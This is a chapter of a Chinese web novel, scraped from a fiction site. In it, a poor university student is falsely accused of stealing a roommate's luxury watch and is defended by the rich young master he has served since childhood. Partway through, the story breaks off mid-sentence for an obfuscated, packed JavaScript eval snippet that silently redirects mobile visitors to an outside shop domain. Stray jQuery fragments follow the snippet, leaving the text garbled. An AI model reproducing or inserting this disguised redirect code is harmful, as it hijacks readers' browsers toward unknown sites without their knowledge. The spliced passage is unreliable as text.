文趣网 > 都市小说 > 秋月 > 31.第 31 章
    木桌前点着一盏昏黄的台灯,清新的油墨气息味也清晰可闻,温迟就着灯光很认真地一笔一划写着作业。

    虽然字迹不算漂亮,可胜在工整,就像温迟这个人一样,平庸得乏善可陈,五官相貌都是中规中矩的,挑不出错处来,可也很难令人一见而难忘。

    这是温迟大学开学的第三天,同寝的三个室友在很短的时间里结交成了好朋友,相比之下,温迟显得寡言少语得多,大家都不爱搭理他。

    室友们都喜欢成群结队地去食堂吃饭,鉴于温迟实在沉默而不讨喜,大家也就不叫他了。

    而对于温迟而言,他是一向习惯了这样的生活的,不知道是出于什么缘故,他从小人缘就很差,即使有能说得上话的朋友,也维持不了多久时间,很快就会失去。他渐渐地也就不再试图维持友谊。

    温迟以为自己可以和室友们维持井水不犯河水的和平关系,但是在下了晚自习的这个晚上,室友宋屿在翻找了一遍自己的桌位,弄出来一堆哐当声响之后,面色不善地踢了踢温迟的座位:“书呆子,你看见我的手表了吗?”

    温迟抬起头,忽略了那个并不友善的称呼,思索了一下立刻回答他:“没有。”

    他是实话实说,开学的这几天,温迟也忙着整理行李和适应新环境,根本没有关注过室友们的穿着打扮,何况是手表。

    但是宋屿盯着他看了一会,眼神不善,隐隐透着戾气,他抿了抿唇,冷着声音道:“我那块表是百达翡丽的,你不会连这也不知道吧?从昨天起就只有你一直待在寝室里,除了你还会有谁?”

    温迟被这顶罪名砸得愣了一下,张了张嘴也没有能说出什么很激烈的话来,他只是道:“可是……我并没有拿你的东西。”

    宋屿看着他这幅模样,突然动怒地揪住了温迟的衣领:“不要以为装无辜就可以摆平,我看你不顺眼很久了,每天那么穷酸样,你知道你这一身加起来也比不上我的一块表吗?”

    “除了你,还有谁会这么穷酸,我们可不是像你这样出身的人。”

    其他几个室友也怀着大事化小,小事化了的念头,纷纷出面劝和。

    “温迟,宋屿他也没有为难你的意思,你把东西拿出来,宋屿也不会和你计较了。”

    温迟摇头,他没有做过的事情没有必要认下,他的声音不大,但意思却很明白:“我没有拿过,而且也没有眼红你们的生活。”

    宋屿骂了一句脏话,挥拳就要打过来,但被几个眼疾手快的室友拦下了,大家立刻打哈哈道:“宋屿你也冷静点,温迟他说不定没有拿呢?你要不然再找找吧!”

    宋屿将那块表看得很重,因为以宋家的家境买这样一块表也不是那么轻松,他求了很久才得到的生日礼物,结果带来不过三天就弄丢了,除了这个一身下等人穷酸味的室友,还有谁会拿?

    宋屿于是冷静下来,直接强行把温迟拉到了辅导员的办公室,温迟的手被掐得很痛,在辅导员听完来龙去脉之后对他循循善诱时,温迟正在默默揉自己的手腕。

    辅导员对于这两个新生都不甚了解,但是从温迟的穿着来看,宋屿说的话十有八九是真的。

    辅导员尽量不偏帮任何一方,他先是语气温和地问温迟:“你确定不是你拿的表吗?如果到时候我们查到真凶是你的话,恐怕会闹得很难看,毕竟是室友,你要是做了就还回来,我们都会体谅的。”

    温迟垂下眼,不吭声,他没了争辩的心思,因为家境问题所以就要被先入为主地有罪推定,他只好保持沉默。

    而这时候旁边一个穿着粉色衬衫的少年路过办公室,交完报表材料之后恰好和温迟对上了眼神,周肆立刻移开目光,像是眼睛沾到了什么脏东西。

    温迟不安地绞了绞手指,更加觉得抬不起头来,周肆像是不认识他一样和他擦肩而过,走出了办公室。

    周肆打开手机,给备注为“薛大小姐”的人发去一条消息:「你那个小跟班在办公室里被欺负得够呛,好像说是偷了他室友的什么手表?」

    「你不来英雄救美吗?」

    薛大小姐:「你帮他一把。」

    周肆毫不留情地拒绝了:「噫。你又不是不知道,我见了他那副猥琐的样子就犯恶心,能提醒你一句已经是看在兄弟情分上了。」

    薛流毓没再回复,周肆却知道他肯定会来,撕开了一根棒棒糖的包装,嚼着糖走了。

    辅导员也觉得事情难办,于是三个人就僵持在办公室里。

    直到一声敲门声响,门外走进了一个身形高挑的少年,穿着简单的白色短袖,却显得神清骨秀,眉眼带着柔和的笑意,腔调可爱地道:“陈老师好。”

    他说完这话,便又看向温迟,声音更加甜蜜地喊了一声哥哥。

    宋屿一下子脸色难看起来,他虽然是新生,但是也听说过薛流毓的名头。

    大家都是正儿八经考进来的高材生,而薛流毓还没有进校,薛家就给学校捐了一栋图书馆,赚足了好名声。

    论理来说,捐图书馆这种操作都是为了换取入学名额,可以薛流毓的成绩压根用不着暗箱操作。但薛家财大气粗,闲来无事地砸钱听个响,倒也成功地让大家都了解了这位薛家阔少的财力。

    何况薛流毓入学才三天,就已经在校园论坛上掀起了轩然大波。家境显赫优渥,学业无可挑剔,性格阳光开朗,最讲礼貌,相貌更是万里挑一,这样的男孩子想不受欢迎都难。

    宋屿自然也有所耳闻,出于某种胜负欲,他隐约地看薛流毓也不爽,宋家虽然不差,可也没办法和薛家比,他家那点钱恐怕薛家根本看不上眼。

    况且,薛流毓竟然喊温迟“哥哥”?!

    宋屿这一次都开始怀疑自己的眼睛了,温迟那样子,恨不得一分钱当两分花,要是和薛家有亲戚关系,何必活得那么穷酸?

    以宋屿及时行乐的人生观,实在很难理

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876447|211801||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    解温迟这种人。

    要是都能和薛家攀亲了,他还整天一副唯唯诺诺的样子装给谁看?

    温迟一开始是不知道怎么解释,现在就更加是觉得难堪了。

    薛流毓虽然很给面子地喊他一声哥哥,但是温迟很清楚自己的分量,他充其量只是薛流毓的仆人,虽然从小跟在身边勉强有一点竹马情分,可是称兄道弟,他是不敢奢望的。

    薛流毓只是习惯性地,对所有人都很好。

    薛流毓于是又对辅导员道:“陈老师,我哥哥他不善言辞,不过偷东西的话,他肯定是不会干的,毕竟我们家再落魄,也不至于连一块两百万的表都买不起。”

    宋屿自然听出来这是在讽刺自己,他咬碎了牙,心不甘情不愿地给温迟道歉:“温迟,我不该冤枉你,是我有眼无珠。”

    温迟还没有说什么,薛流毓就笑盈盈地道:“宋同学,你不了解阿迟哥哥,所以才会产生这样的误解,他是一个很好的人呢,你和他相处久了就会明白的。”

    宋屿面无表情地应是。

    出了办公室,温迟很不安地向薛流毓道谢:“小少爷,谢谢你……”

    薛流毓没所谓地道:“哥哥,你就是脾气太软了,这种跳梁小丑,就要直接硬刚才好。”

    温迟知道,可是他就是生来缺乏这样的勇气,所以只能采用平庸的活法。

    他很羡慕薛流毓的少年意气,能够无所顾忌地想说什么就说什么,但是他不管怎么样也学不会。

    薛流毓话锋一转,又道:“哥哥,你在学校里就不要喊我少爷了,你以后就喊我阿毓吧。”

    温迟呐呐地点头。

    薛流毓突然低下头来,揉了揉他的脑袋,眼睛弯起来,像一弯新月。

    在温迟呆滞的眼神中,他听见薛流毓用好听得令人心醉的声音含笑说道:“哥哥真可爱。”

    温迟第一次见到薛流毓,是在薛流毓六岁的时候。

    温迟被母亲领着进了薛家的宅院,这里的陈设华美无匹,即便八岁的温迟还不能分清各种玉的材质,但也能隐约看出薛家的显赫程度。

    母亲带他进去之后就叮嘱了温迟一句:“你要好好和他相处,千万不要惹主人家生气,知道吗?”

    温迟乖乖地点头,他那时以为这是母亲的某一房亲戚,所以怀着交友的念头,走向了那个粉雕玉琢的小孩子。

    温迟有那么一瞬间,感觉自己看见了真人版洋娃娃,惊叹得说不出话来。

    那时候,温迟对于美人的了解,全都来自书籍报刊上遥远的陈述,还有电视剧里的红粉佳人。

    而他们再好看,也都没有六岁的薛流毓好看。

    温迟以为这是一个小姑娘,于是放缓了语气,对着正在搭积木的薛流毓道:“小妹妹,你叫什么名字?”

    薛流毓顿了一下,把那些好不容易堆稳的积木一下子推翻了,一栋城堡轰然倒塌,温迟的心也震颤了一下。